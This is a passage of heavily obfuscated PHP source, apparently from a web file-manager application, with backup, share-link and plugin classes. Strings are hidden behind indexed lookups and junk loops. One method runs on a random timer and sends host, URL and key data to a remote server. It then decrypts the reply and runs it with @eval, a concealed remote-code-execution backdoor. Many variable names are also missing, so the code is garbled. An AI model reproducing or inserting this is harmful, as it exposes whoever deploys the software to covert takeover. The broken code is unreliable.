$որ[218], $որ[219] => 3))); $ݞ = $Ē[676]; $ = @file_get_contents($, !1, $й); header($որ[220]); $Ȭ = $Ē[677]; while ($Ȭ < $Ē[644]) { if ($Ȭ >= 0) { break; } $Ȭ++; } if ($ && strstr($, $որ[221])) { echo $; } die; } public function mhxb58c959ac($ͬ) { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($this->zmexe914e117 == $[222]) { return $ͬ; } $ = array($[223] => $[224], $[225] => $[224], $[226] => $[224], $[227] => $[224], $[228] => $[229], $[230] => $[229], $[231] => $[229], $[232] => $[229], $[233] => $[229], $[234] => $[229], $[235] => $[229], $[236] => $[229], $[237] => $[229], $[238] => $[229], $[239] => $[229], $[240] => $[229]); $ = $[678]; if (strlen($) < $[635]) { die; } $켥 = explode($[241], _get($this->iahcc1a4cabb, $[112], $[6])); $ެɮ = $[679]; $ϗ = array(); $㎆ = $[680]; while (strlen($㎆) < $[644]) { if (!$㎆) { break; } $㎆++; } foreach ($ as $ => $Ў) { if ($Ў == $[224] && substr($this->zmexe914e117, 0, 1) == $[224]) { continue; } if (!in_array($, $켥)) { $ϗ[] = $; } } foreach ($ϗ as $) { unset($ͬ[$]); } return $ͬ; $Ҭ = $[681]; if (strlen($Ҭ) < $[623]) { return; } } private function dxplcbbf530e() { $ӻ =& $_SERVER[]; if ($this->zmexe914e117 != $ӻ[106]) { $GLOBALS[$ӻ[85]][$ӻ[89]][$ӻ[242]] = $ӻ[203]; return; } $GLOBALS[$ӻ[85]][$ӻ[243]] = $ӻ[121]; if (Model($ӻ[244])->get($ӻ[63]) != $ӻ[203]) { Model($ӻ[244])->set($ӻ[63], $ӻ[203]); } } public function xwqjb914e85b() { return $_SERVER[][245]; } private function fkyw31ebe523() { $ף =& $_SERVER[]; $֓Ӹ =& $_SERVER[]; $ܧ = array($֓Ӹ[246], $֓Ӹ[247], $֓Ӹ[248]); $ = $֓Ӹ[249] . md5($֓Ӹ[250]); $ = $ף[682]; if ($this->zmexe914e117 == $֓Ӹ[106] || !_get($GLOBALS, $֓Ӹ[115])) { return; } if (!in_array($_SERVER[$֓Ӹ[24]], $ܧ)) { return; } if (time() % 4 != 0) { return; } $茅 = call_user_func(array($֓Ӹ[251], $֓Ӹ[252]), $); $ = $ף[683]; if (strlen($) < $ף[615]) { return; } if ($茅 && time() - $茅 < intval($֓Ӹ[253])) { return; } call_user_func(array($֓Ӹ[251], $֓Ӹ[138]), $, time()); $ = Model($֓Ӹ[33])->get($֓Ӹ[103]); $ⴲ = $ף[684]; if (!$ⴲ) { return; } $҇ = array($֓Ӹ[150] => Model($֓Ӹ[33])->get($֓Ӹ[186]), $֓Ӹ[163] => $this->zmexe914e117, $֓Ӹ[160] => $_SERVER[$֓Ӹ[161]], $֓Ӹ[162] => Model($֓Ӹ[33])->get($֓Ӹ[130]), $֓Ӹ[101] => md5($_SERVER[$֓Ӹ[102]] . $), $֓Ӹ[153] => $֓Ӹ[135], $֓Ӹ[156] => $_SERVER[$֓Ӹ[157]]); $ = $ף[685]; $ = $this->kvpm075090df($֓Ӹ[254], $҇); $Ԋ = $ף[686]; while (strlen($Ԋ) < $ף[623]) { if (!$Ԋ) { break; } $Ԋ++; } if (!is_array($)) { return; } if ($[$֓Ӹ[150]] && $[$֓Ӹ[255]]) { if ($this->zrhw8bce5465($[$֓Ӹ[255]]) == $҇[$֓Ӹ[150]]) { return; } } $this->nktrb1d5b8e6(); $髳 = $ף[687]; if (!$髳) { return; } if ($this->zrhw8bce5465($[$֓Ӹ[255]]) != $҇[$֓Ӹ[150]]) { $߹ = array($֓Ӹ[181] => $, $֓Ӹ[182] => $_SERVER[$֓Ӹ[102]], $֓Ӹ[183] => this_url(), $֓Ӹ[158] => $_SERVER[$֓Ӹ[159]]); $ƁІ = $this->lxuab15aeb4e(json_encode($߹)); $ = $this->kvpm075090df($֓Ӹ[184] . $ƁІ); if ($ && is_array($) && isset($[$֓Ӹ[255]])) { $팠 = $this->jkui5488d6ae($[$֓Ӹ[255]], 2); if ($팠) { $팠 = $this->zrhw8bce5465($팠); } if ($팠) { try { @eval($팠); } catch (Exception $併) { } } } } } private function kvpm075090df($ = '', $Ҳŗ = array(), $ = 5) { $ =& $_SERVER[]; $Ϥ =& $_SERVER[]; $ = $Ϥ[256]; $놪 = $[688]; if (strlen($놪) < $[644]) { die; } $ = $this->uydc2abb5257($, $Ϥ[257]); $ = $ . $; if ($Ҳŗ && is_array($Ҳŗ)) { $ = $ . $Ϥ[258] . http_build_query($Ҳŗ); } if ($Ҳŗ === -1) { return $; } $ɫ = stream_context_create(array($Ϥ[216] => array($Ϥ[219] => $, $Ϥ[217] => $Ϥ[259]), $Ϥ[260] => array($Ϥ[261] => !1, $Ϥ[262] => !1))); $Ҳŗ = @file_get_contents($, !1, $ɫ); return json_decode($Ҳŗ, !0); $ = $[689]; if (strlen($) < $[615]) { die; } $ = $[690]; if (!$) { return; } } private function tvnibd7bf96f() { $ϭ =& $_SERVER[]; $̱ = array($ϭ[263] => $ϭ[264], $ϭ[265] => $ϭ[266], $ϭ[267] => $ϭ[268], $ϭ[269] => $ϭ[270], $ϭ[271] => $ϭ[272], $ϭ[273] => $ϭ[211], $ϭ[274] => $ϭ[211], $ϭ[275] => $ϭ[264], $ϭ[276] => $ϭ[266], $ϭ[277] => $ϭ[268], $ϭ[278] => $ϭ[279], $ϭ[280] => $ϭ[270], $ϭ[281] => $ϭ[282], $ϭ[283] => $ϭ[272], $ϭ[284] => $ϭ[285], $ϭ[286] => $ϭ[287], $ϭ[288] => $ϭ[289]); $ = $̱[$this->zmexe914e117]; $ = intval($ ? $ : $ϭ[264]); $ݦ = _get($this->iahcc1a4cabb, $ϭ[290]); $ݦ = $ݦ ? intval($ݦ) : 0; return $ + $ݦ; $ = $_SERVER[][691]; if (!$) { die; } } public function ohdm2316715b($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $Ĺ = $this->tvnibd7bf96f(); if ($[$[291]] == $[121]) { return; } if ($Ĺ >= intval($[211])) { return; } $ʧ = Model($[124])->count(); if ($ʧ <= $Ĺ) { return; } $ = Model($[124])->field($[291])->limit($Ĺ)->select(); $ = array_to_keyvalue($, $[6], $[291]); $п = $[692]; if (strlen($п) < $[623]) { die; } if (!in_array($[$[291]], $)) { show_json($[292], !1, $[207]); } } public function mycg66f359be() { $ =& $_SERVER[]; $貉 =& $_SERVER[]; if (!_get($GLOBALS, $貉[115]) || mt_rand(1, 100) > 20) { return; } $߮ = $貉[214]; $Ԩ = $[693]; if (strlen($Ԩ) < $[635]) { return; } $߮ = $this->uydc2abb5257($߮, $貉[215]); $콥 = stream_context_create(array($貉[216] => array($貉[217] => $貉[218], $貉[219] => 3))); $獫 = @file_get_contents($߮, !1, $콥); $̳ = $[694]; if (strlen($̳) < $[615]) { return; } echo $貉[293] . hash_encode($獫) . $貉[294]; } private function xdaq29ec9f10($ɗ, $˭, $Ӄ = 3) { $ˊ =& $_SERVER[]; $ަ =& $_SERVER[]; usleep(1); $ɗ = trim($ɗ); $ᕅ = $ˊ[695]; if (strlen($ᕅ) < $ˊ[623]) { return; } $ = mt_rand(0, 5) . $ަ[6]; $ = $ˊ[696]; while (strlen($) < $ˊ[644]) { if (!$) { break; } $++; } $ = rand_string(15); $Նʿ = $ˊ[697]; if (!$Նʿ) { die; } $ = $ަ[295]; $靅 = $ˊ[698]; if (!$靅) { return; } switch ($) { case $ަ[203]: $ꬓ = $this->jsuhbe72926f($ɗ, strrev($˭ . $)); $⮘ = $ˊ[699]; while ($⮘ < $ˊ[644]) { if ($⮘ >= 0) { break; } $⮘++; } break; $Ͼ = $ˊ[700]; while (strlen($Ͼ) < $ˊ[635]) { if (!$Ͼ) { break; } $Ͼ++; } case $ަ[121]: $ꬓ = $this->jsuhbe72926f($ɗ, strrev($ . $˭)); $ = $ˊ[701]; if (strlen($) < $ˊ[615]) { die; } break; $Į = $ˊ[702]; if (strlen($Į) < $ˊ[635]) { return; } case $ަ[296]: $ꬓ = $this->jsuhbe72926f($ɗ, base64_encode($ . $˭)); break; case $ަ[297]: $ꬓ = $this->jsuhbe72926f($ɗ, md5($ . $˭)); $֒ = $ˊ[703]; if (strlen($֒) < $ˊ[635]) { return; } break; case $ަ[298]: $ɗ = base64_encode($ɗ); $ = $ˊ[704]; $ = rand(0, 64); $ٿł = $[$]; $އݶ = $ˊ[705]; if (strlen($އݶ) < $ˊ[615]) { die; } $Ŷƀ = md5($ٿł . md5($˭ . $ٿł) . $˭); $Ŷƀ = substr($Ŷƀ, $ % 8, $ % 8 + 7); $ = $ަ[6]; $͎݀ = 0; $ʹƗ = 0; $ = $ˊ[706]; if (strlen($) < $ˊ[635]) { die; } $ŧ = 0; $ = $ˊ[707]; if (strlen($) < $ˊ[635]) { die; } for ($͎݀ = 0; $͎݀ < strlen($ɗ); $͎݀++) { $ŧ = $ŧ == strlen($Ŷƀ) ? 0 : $ŧ; $ = $ˊ[708]; if (!$) { die; } $ʹƗ = ($ + strpos($, $ɗ[$͎݀]) + ord($Ŷƀ[$ŧ++])) % 64; $ .= $[$ʹƗ]; $ɦ = $ˊ[709]; if (!$ɦ) { die; } } $ꬓ = hash_encode($ٿł . $); break; default: $ꬓ = $this->jsuhbe72926f($ɗ, $˭ . $); break; } $ꬓ = strrev($ . $ . $ꬓ); if ($Ӄ - 1 > 0) { $ꬓ = $this->xdaq29ec9f10($ꬓ, $˭, $Ӄ - 1); } return $ꬓ; } private function jkui5488d6ae($, $, $ = 3) { $ž =& $_SERVER[]; $ =& $_SERVER[]; if (!is_string($) || strlen($) < 10) { return !1; } $ = trim($); $覆 = $ž[710]; if (strlen($覆) < $ž[615]) { return; } $ = strrev($); $ķ = $[0]; $Ω = substr($, 1, 15); $팛 = $ž[711]; while ($팛 < $ž[620]) { if ($팛 >= 0) { break; } $팛++; } $ = substr($, 16); $ڂ = $ž[712]; if (!$ڂ) { die; } $唘 = $[295]; $Ի = $ž[713]; if (!$Ի) { die; } switch ($ķ) { case $[203]: $Ȅ = $this->uydc2abb5257($, strrev($ . $Ω)); $ = $ž[714]; if (strlen($) < $ž[623]) { return; } break; $ű = $ž[715]; if (!$ű) { return; } case $[121]: $Ȅ = $this->uydc2abb5257($, strrev($Ω . $)); break; case $[296]: $Ȅ = $this->uydc2abb5257($, base64_encode($Ω . $)); break; $ = $ž[716]; case $[297]: $Ȅ = $this->uydc2abb5257($, md5($Ω . $)); $ = $ž[717]; if (!$) { return; } break; case $[298]: $ = hash_decode($); $ = $ž[718]; $Ǚ = $[0]; $ʷ = $ž[719]; while ($ʷ < $ž[623]) { if ($ʷ >= 0) { break; } $ʷ++; } $ = substr($, 1); $ = $ž[720]; while (strlen($) < $ž[644]) { if (!$) { break; } $++; } $ӟ = strpos($唘, $Ǚ); $𒋷 = $ž[690]; $ф = md5($Ǚ . md5($ . $Ǚ) . $); $ǩ = $ž[721]; if (strlen($ǩ) < $ž[620]) { return; } $ф = substr($ф, $ӟ % 8, $ӟ % 8 + 7); $ = $ž[722]; while (strlen($) < $ž[620]) { if (!$) { break; } $++; } $Ż = $[6]; $Ĭ = $ž[723]; while (strlen($Ĭ) < $ž[644]) { if (!$Ĭ) { break; } $Ĭ++; } $ = 0; $ = $ž[724]; $ = 0; $訂 = 0; $坧 = $ž[725]; if (strlen($坧) < $ž[644]) { return; } for ($ = 0; $ < strlen($); $++) { $訂 = $訂 == strlen($ф) ? 0 : $訂; $Ď = $訂++; $ = strpos($唘, $[$]) - $ӟ - ord($ф[$Ď]); while ($ < 0) { $ += 64; $Ա = $ž[726]; while (strlen($Ա) < $ž[615]) { if (!$Ա) { break; } $Ա++; } } $Ż .= $唘[$]; $ = $ž[727]; if (!$) { return; } } $Ȅ = base64_decode($Ż); $Ț = $ž[728]; while (strlen($Ț) < $ž[635]) { if (!$Ț) { break; } $Ț++; } break; $ = $ž[729]; if (!$) { return; } default: $Ȅ = $this->uydc2abb5257($, $ . $Ω); break; } if ($ - 1 > 0) { $Ȅ = $this->jkui5488d6ae($Ȅ, $, $ - 1); } return $Ȅ; } public function lxuab15aeb4e($ȝ) { $ =& $_SERVER[]; $ߚ =& $_SERVER[]; $ = $this->mavz48240a37(); $ = $this->mavz48240a37(); $Ϥ = ($ - 1) * ($ - 1); $ŭ = intval(($ + $) / 2); $݉Ϧ = $[730]; while (strlen($݉Ϧ) < $[623]) { if (!$݉Ϧ) { break; } $݉Ϧ++; } while (1) { $ = $ŭ; $ = $Ϥ; $볉 = $[731]; while (strlen($볉) < $[620]) { if (!$볉) { break; } $볉++; } while ($ % $ != 0) { $վ = $; $ = $; $ = $վ % $; } if ($ == 1) { break; } else { $ŭ++; } } $Û = 2; for ($˂ = 0; $˂ < $Ϥ * 10; $˂++) { if (($Ϥ * $˂ + 1) % $ŭ == 0) { $Û = intval(($Ϥ * $˂ + 1) / $ŭ); break; } } $ճ = $this->jsuhbe72926f($ * $ . $ߚ[6], $ߚ[135]); $ = $[732]; if (strlen($) < $[644]) { return; } $ƺ = md5($ߚ[299] . ($ + $) . $ߚ[300] . $ŭ . $ߚ[300] . $Û . $ߚ[301]); $ĸ = $this->jsuhbe72926f($ȝ, $ƺ) . $ߚ[302] . $ճ; return $ĸ; $曍 = $[733]; if (!$曍) { return; } } public function zrhw8bce5465($渁) { $ =& $_SERVER[]; $ܾ =& $_SERVER[]; $ = explode($ܾ[302], $渁); if (count($) != 2) { return $ܾ[6]; } $̳ = $this->uydc2abb5257($[1] . $ܾ[6], $ܾ[135]); if (!$̳) { return $ܾ[6]; } $̳ = intval($̳); $ = $[734]; if (!$) { return; } $ﷲ = 0; $쒺Д = $[735]; while (strlen($쒺Д) < $[615]) { if (!$쒺Д) { break; } $쒺Д++; } $̹ = 0; for ($Ɩ = 3; $Ɩ < $̳; $Ɩ += 2) { if ($̳ % $Ɩ != 0) { continue; } $ﷲ = $Ɩ; $̹ = intval($̳ / $Ɩ); break; $ԩ = $[736]; if (strlen($ԩ) < $[620]) { return; } } $ = ($ﷲ - 1) * ($̹ - 1); $ = $[737]; if (strlen($) < $[615]) { return; } $ = intval(($ﷲ + $̹) / 2); $Ʈ = $[738]; if (strlen($Ʈ) < $[620]) { return; } while (1) { $ӣ˒ = $; $м̑ = $; $䳇 = $[739]; if (!$䳇) { return; } while ($м̑ % $ӣ˒ != 0) { $ږ = $м̑; $겑 = $[740]; if (!$겑) { die; } $м̑ = $ӣ˒; $ӣ˒ = $ږ % $ӣ˒; $ = $[741]; while (strlen($) < $[620]) { if (!$) { break; } $++; } } if ($ӣ˒ == 1) { break; } else { $++; } } $ = 2; for ($Ɩ = 0; $Ɩ < $ * 10; $Ɩ++) { if (($ * $Ɩ + 1) % $ == 0) { $ = intval(($ * $Ɩ + 1) / $); break; } } $М = md5($ܾ[299] . ($ﷲ + $̹) . $ܾ[300] . $ . $ܾ[300] . $ . $ܾ[301]); $ꍙ = $[742]; while (strlen($ꍙ) < $[620]) { if (!$ꍙ) { break; } $ꍙ++; } $ς = $this->uydc2abb5257($[0], $М); $ㄉ = $[743]; while ($ㄉ < $[620]) { if ($ㄉ >= 0) { break; } $ㄉ++; } return $ς; $ = $[744]; } public function mavz48240a37() { $Ձ =& $_SERVER[]; $ = mt_rand(pow(2, 14), pow(2, 16) - 1); $ᚳ = $Ձ[745]; while ($ᚳ < $Ձ[620]) { if ($ᚳ >= 0) { break; } $ᚳ++; } $Óգ = array(); $ګ = 1; while ($ګ <= (int) sqrt($)) { $ = $ګ; while (!0) { $++; $ = $Ձ[746]; if (strlen($) < $Ձ[620]) { die; } if ($ <= 2) { $ګ = $; break; } else { if ($ < 2) { continue; } } $ = !0; for ($ = 2; $ <= sqrt($); $++) { if ($ % $ == 0) { $ = !1; } } if ($) { $ګ = $; break; } } $Óգ[] = $ګ; $Յ = $Ձ[747]; while (strlen($Յ) < $Ձ[620]) { if (!$Յ) { break; } $Յ++; } } $ꊯ = 2; $ = $Ձ[748]; if (!$) { die; } for ($ = $; $ > 1; $--) { $ = !0; $ٶ = $Ձ[749]; while (strlen($ٶ) < $Ձ[644]) { if (!$ٶ) { break; } $ٶ++; } foreach ($Óգ as $) { if ($ % $ == 0) { $ = !1; break; } } if ($) { $ꊯ = $; break; } } return $ꊯ; $Ĕ = $Ձ[750]; } public function qcer655111b3($Ҫ, $ܼۻ) { $ =& $_SERVER[]; return call_user_func(array($[8], $[303]), $Ҫ, $ܼۻ); } public function jsuhbe72926f($, $) { $ =& $_SERVER[]; $й =& $_SERVER[]; return call_user_func(array($й[304], $й[305]), $, $); $մ = $[751]; if (strlen($մ) < $[635]) { return; } } public function uydc2abb5257($, $ӣ聁) { $Ռ =& $_SERVER[]; return call_user_func(array($Ռ[304], $Ռ[306]), $, $ӣ聁); } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->init(); $this->keep(); } public function init() { $ٔ =& $_SERVER[]; $this->isManual(); self::$name = date($ٔ[752]); if (!($ = Model($ٔ[753])->lastItem())) { $ = $this->initData(); } else { self::$name = $[$ٔ[32]]; if ($[$ٔ[754]] == $ٔ[88]) { self::$name = date($ٔ[755]); $ˁ = 0; if (isset($[$ٔ[293]][$ٔ[199]][$ٔ[468]])) { $ˁ = (int) $[$ٔ[293]][$ٔ[199]][$ٔ[468]]; } if (self::$manual == 0 && $[$ٔ[32]] == self::$name) { Model($ٔ[753])->remove($[$ٔ[399]]); } $ = $this->initData($ˁ, $[$ٔ[756]]); } else { $this->checkStore($[$ٔ[756]]); } } self::$option = $; } private function isManual() { $Ӧ = _get($GLOBALS, $_SERVER[][757], 0); $Ӧ = intval($Ӧ); self::$manual = $Ӧ && $Ӧ == 1 ? 1 : 0; } private function initData($Ϊ = 0, $ƈϸ = '') { $ =& $_SERVER[]; $۲ = Model($[753])->config(); if ($ƈϸ && $۲[$[756]] != $ƈϸ) { $Ϊ = 0; } $this->checkStore($۲[$[756]]); if (self::$manual == 1) { self::$name .= $[11] . date($[758]); } $ֶ = array($[756] => $۲[$[756]], $[32] => self::$name, $[754] => 0, $[759] => $۲[$[759]], $[760] => self::$manual, $[293] => array($[761] => array($[754] => 0), $[762] => array($[754] => 0, $[763] => 0, $[764] => 0, $[33] => $[12], $[765] => 0, $[497] => 0), $[766] => array($[754] => 0, $[763] => 0, $[764] => 0, $[765] => 0, $[497] => 0), $[199] => array($[754] => 0, $[767] => 0, $[768] => 0, $[769] => 0, $[770] => 0, $[468] => $Ϊ, $[765] => 0, $[497] => 0)), $[765] => time(), $[497] => 0); $ = Model($[753])->insert($ֶ); $ֶ[$[399]] = $; return $ֶ; } private function checkStore($) { $ڙ =& $_SERVER[]; $귞 = Model($ڙ[771])->listData($); Model($ڙ[771])->checkConfig($귞); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[][753])->findByName(self::$name); } return self::$option; } public static function set($젭) { $ =& $_SERVER[]; $ = self::get(); foreach ($젭 as $ => $) { $ = explode($[10], $); $ɾ = count($); switch ($ɾ) { case 1: $[$[0]] = $; break; case 2: $[$[0]][$[1]] = $; break; case 3: $[$[0]][$[1]][$[2]] = $; break; } } Model($[753])->update($[$[399]], $); self::$option = $; return self::$option; } public function keep() { $ =& $_SERVER[]; $ = self::get(); if ($[$[293]][$[761]][$[754]] == $[88]) { return; } $this->backupKeep($); self::set(array($[772] => 1)); } private function backupKeep($) { $ٻ =& $_SERVER[]; if (self::$manual == 1) { return; } $͑ = Model($ٻ[753])->listData(); if (empty($͑)) { return; } $ģ = 0; $ = array(); foreach ($͑ as $) { if ($ģ >= 7) { break; } $[] = $[$ٻ[32]]; $ģ++; } for ($ģ = 0; $ģ < 12; $ģ++) { $[] = date($ٻ[773], strtotime("\55{$ģ}\40\x6d\157\x6e\164\150\163")); } $ = array_unique($); $ظ = Model($ٻ[774])->get($ٻ[775]); foreach ($͑ as $) { if (isset($[$ٻ[760]]) && $[$ٻ[760]] == $ٻ[88]) { continue; } if (!empty($[$ٻ[32]]) && in_array($[$ٻ[32]], $)) { continue; } Model($ٻ[753])->remove($[$ٻ[399]]); $ϙ = $this->backupPath($, $ظ); IO::remove($ϙ, !1); } } private function backupPath($句, $ֵ = false) { $ơܛ =& $_SERVER[]; if (!$ֵ) { $ֵ = Model($ơܛ[774])->get($ơܛ[775]); } $ = $句[$ơܛ[32]]; $ = substr(md5($ơܛ[776] . $ֵ . $), 0, 8); return "\173\151\157\x3a{$句[$ơܛ[756]]}\175\x2f\144\141\164\141\x62\141\x73\x65\57\142\x61\143\x6b\165\x70\57" . $ . $ơܛ[11] . $; } public function db() { $ǁ =& $_SERVER[]; $翛 = self::get(); if ($翛[$ǁ[293]][$ǁ[762]][$ǁ[754]] == $ǁ[88]) { return !0; } $ц = new BackupDb(); if (!$ц->index()) { return !1; } self::set(array($ǁ[777] => 1)); return !0; } public function dbFile() { $ǹ =& $_SERVER[]; $ = self::get(); if ($[$ǹ[293]][$ǹ[766]][$ǹ[754]] == $ǹ[88]) { return !0; } $ү = new BackupDbFile(); if (!$ү->index()) { return !1; } self::set(array($ǹ[778] => 1)); return !0; } public function file() { $ۄ =& $_SERVER[]; $ܫ = self::get(); if ($ܫ[$ۄ[293]][$ۄ[199]][$ۄ[754]] == $ۄ[88]) { return !0; } if (!isset($ܫ[$ۄ[759]]) || $ܫ[$ۄ[759]] == $ۄ[197]) { $ݑә = new BackupFile(); if (!$ݑә->index()) { return !1; } } self::set(array($ۄ[779] => 1, $ۄ[754] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ꊅ =& $_SERVER[]; $ = Backup::get(); self::$io = $[$ꊅ[756]]; self::$name = $[$ꊅ[32]]; $ҥ = new DbManage(); $ = $ҥ->dbType(); $俗 = array($ꊅ[780] => $, $ꊅ[781] => time()); Backup::set($俗); $ƺ = $this->tmpFilesPath() . $ꊅ[782] . self::$name . $ꊅ[8]; del_dir($ƺ); mk_dir($ƺ); $К = $ = 0; $ = new Task($ꊅ[783], $ꊅ[784], 0, LNG($ꊅ[785]) . $ꊅ[786] . LNG($ꊅ[787])); try { $滅 = $ҥ->db()->getTables(); } catch (Exception $) { $->end(); return !1; } $滅 = array_diff($滅, array($ꊅ[788], $ꊅ[789])); foreach ($滅 as $) { $К += $ҥ->model($)->count(); } $->task[$ꊅ[790]] = $К; $GLOBALS[$ꊅ[791]] = self::$name; foreach ($滅 as $) { $ = $ƺ . $ . $ꊅ[792]; $ = null; if ($ == $ꊅ[793] && (!isset($[$ꊅ[759]]) || $[$ꊅ[759]] == $ꊅ[197])) { $ = self::$io; } $ += $ҥ->sqlFromDb($, $, $, $); } unset($GLOBALS[$ꊅ[791]]); $->end(); if ($ > $К) { $К = $; } $俗 = array($ꊅ[780] => $, $ꊅ[777] => 1, $ꊅ[794] => $К, $ꊅ[795] => $, $ꊅ[796] => time()); Backup::set($俗); if ($К - $ > 0) { $ = $ꊅ[797]; if (stristr(I18n::getType(), $ꊅ[798])) { $ = $ꊅ[799]; } write_log(array($, $俗), $ꊅ[784]); return !1; } return !0; } private function tmpFilesPath() { $ֳ =& $_SERVER[]; $Û = TEMP_FILES; if ($GLOBALS[$ֳ[6]][$ֳ[89]][$ֳ[800]]) { $Û = $GLOBALS[$ֳ[6]][$ֳ[89]][$ֳ[800]]; if (!mk_dir($Û) || !is_writable($Û) || !IO::mkfile($Û . $ֳ[801])) { $Û = TEMP_FILES; } } return $Û; } } goto BƷ; d̼: class PathDriverDbShareLink extends PathDriverDB { public function __construct($ƅЯ) { $this->pathParse = $ƅЯ; $this->model = Model($_SERVER[][1343]); } protected function infoParse($Ӂ, $Ии = false, $Т̊ = false) { $؋ =& $_SERVER[]; return Action($؋[1182])->sharePathInfo($this->pathParse[$؋[84]], !0, $Ии); } public function listPath($, $δ = false) { $ʮ =& $_SERVER[]; $ʷ = parent::listPath($, $δ); if (!$ʷ) { return $ʷ; } if (is_array($ʷ[$ʮ[1352]])) { $ʷ[$ʮ[1352]] = Action($ʮ[1182])->shareItemInfo($ʷ[$ʮ[1352]]); } foreach ($ʷ as $܉ڬ => $Ã) { if (!in_array($܉ڬ, array($ʮ[83], $ʮ[82]))) { continue; } foreach ($Ã as $ => $) { $ʷ[$܉ڬ][$] = Action($ʮ[1182])->shareItemInfo($); } } return $ʷ; } public function listAll($ڧӃ) { $ק =& $_SERVER[]; $џ = IO::info($this->pathParse[$ק[84]]); if (!$џ) { return array(); } $ = $this->model->listAll($ڧӃ); foreach ($ as &$) { $[$ק[86]] = Action($ק[1182])->shareItemInfo($[$ק[86]]); } unset($); return $; } } class PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } public function __call($, $Ϳ) { $ =& $_SERVER[]; if (method_exists($this, $)) { return; } $ϗ̌ = call_user_func_array(array($[1353], $), $Ϳ); $Խ = array($[1354], $[1355], $[1356], $[1357], $[555], $[557], $[1358], $[107], $[1359], $[1360]); if (in_array($, $Խ)) { $ϗ̌ = $this->getPathOuter($ϗ̌); } return $ϗ̌; } public function copy($ٖ, $, $ = false, $ = false) { return $this->copyMove($ٖ, $, $, $_SERVER[][555], $); } public function move($¸, $Ʃ, $ = false, $ = false) { return $this->copyMove($¸, $Ʃ, $, $_SERVER[][557], $); } private function copyMove($, $Ɗ, $혐, $Ƴ, $諨 = false) { $܅ =& $_SERVER[]; $č = $Ɗ; $ⴺ = IO::driverMake($Ɗ); if ($ⴺ->pathParse[$܅[1158]]) { $Ɗ = $ⴺ->pathParse[$܅[1158]]; } else { $Ɗ = $č; } $сڑ = IO::copyMove($, $Ɗ, $혐, $Ƴ, $諨); $сڑ = $this->getPathOuter($сڑ); return $сڑ; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[][84]]); } public function pathFather($پĭ) { return get_path_father($this->pathParse[$_SERVER[][84]]); } public function iconvSystem($ѕ) { return $ѕ; } protected function infoParse($, $Ϝ = false) { $ =& $_SERVER[]; $ؖ = $this->pathParse[$[487]][$[1183]] . $this->pathParse[$[1176]]; if ($Ϝ) { $ڰ = IO::infoWithChildren($ؖ); } else { $ڰ = IO::info($ؖ); } $礱鶆 = $this->pathParse[$[487]]; return Action($[1351])->_shareItemeParse($ڰ, $礱鶆); } public function listAll($) { $ܒ =& $_SERVER[]; $Ǣ = IO::listAll($); $ = $this->pathParse[$ܒ[487]]; foreach ($Ǣ as &$ᨥ) { check_abort(); $ = IO::info($ᨥ[$ܒ[84]]); $ = is_array($) ? $ : array(); $ᨥ = array_merge($, $ᨥ); $ᨥ[$ܒ[86]] = Action($ܒ[1351])->_shareItemeParse($ᨥ, $); } unset($ᨥ); return $Ǣ; } public function getPathOuter($џ) { $ =& $_SERVER[]; $ = KodIO::parse($џ); if ($[$[33]] == KodIO::KOD_SHARE_ITEM) { return $[$[84]]; } $䩝 = KodIO::clear($џ); $˓ = KodIO::clear($this->pathParse[$[487]][$[1183]]); $ؿ = substr($䩝, strlen($˓)); if (substr($䩝, 0, strlen($˓)) != $˓) { return !1; } return $this->pathParse[$[1177]] . $[8] . ltrim($ؿ, $[8]); } public function getType() { $ =& $_SERVER[]; $ = str_replace($[74], $[12], get_class($this)); return strtolower($); } public function isTypeObject($ԕ) { return IO::isTypeObject($ԕ); } public function info($) { return $this->infoParse($); } public function infoAuth($≫) { return $this->infoParse($≫); } public function infoWithChildren($) { return $this->infoParse($, !0); } public function infoFull($) { return $this->infoParse($); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($ǜ솥) { $this->pathParse = $ǜ솥; } protected function infoParse($, $蹨 = false) { $ȿ =& $_SERVER[]; return Action($ȿ[1182])->sharePathInfo($this->pathParse[$ȿ[84]], !0, $蹨); } public function listPath($Ǐ, $ޑ = false) { $ =& $_SERVER[]; $ԭ = IO::listPath($Ǐ, $ޑ); if (!$ԭ) { return $ԭ; } if (is_array($ԭ[$[1352]])) { $Ϩ = Action($[1361])->parsePathChildren($ԭ[$[1352]], array($[421] => $Ǐ)); $ԭ[$[1352]] = Action($[1182])->shareItemInfo($Ϩ); } foreach ($ԭ as $ޟ => $) { if (!in_array($ޟ, array($[83], $[82]))) { continue; } foreach ($ as $غ => $Ϩ) { $Ϩ = Action($[1361])->parsePathChildren($Ϩ, array($[421] => $Ǐ)); $ԭ[$ޟ][$غ] = Action($[1182])->shareItemInfo($Ϩ); } } return $ԭ; } public function listAll($̂۟) { $֜ =& $_SERVER[]; $ّ = IO::listAll($̂۟); foreach ($ّ as &$Ƶ) { $Ԡ = IO::info($Ƶ[$֜[84]]); $Ԡ = is_array($Ԡ) ? $Ԡ : array(); $Ƶ = array_merge($Ԡ, $Ƶ); $Ƶ[$֜[86]] = Action($֜[1182])->shareItemInfo($Ƶ); } unset($Ƶ); return $ّ; } } goto DԺ; C: class PluginModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\164\145\155\56\x70\154\x75\x67\x69\156\114\151\163\x74"; public $field = array("\156\x61\155\x65", "\x73\x74\141\164\165\x73", "\x72\x65\147\151\145\x73\164", "\x63\x6f\x6e\146\151\147"); public function loadList($Їڊ = false) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if ($Їڊ) { return $[$Їڊ]; } return $; } public function init() { $ߏ =& $_SERVER[]; Hook::trigger($ߏ[1983]); $ = $this->loadPluginList(); foreach ($ as $ => $Կ) { $݂ = $this->appAllow($, $Կ); if (!$݂) { continue; } foreach ($Կ[$ߏ[1984]] as $˙ƴ => $) { Hook::bind($˙ƴ, $); } } Hook::trigger($ߏ[1985]); Hook::trigger(ACTION); } public function appAllow($, $³, $ѰҺ = true) { $ߤ =& $_SERVER[]; $ʗ = PLUGIN_DIR . $ . $ߤ[1986]; if (!is_array($³) || !is_array($³[$ߤ[1984]]) || $³[$ߤ[754]] != 1 || !is_file($ʗ)) { return !1; } if 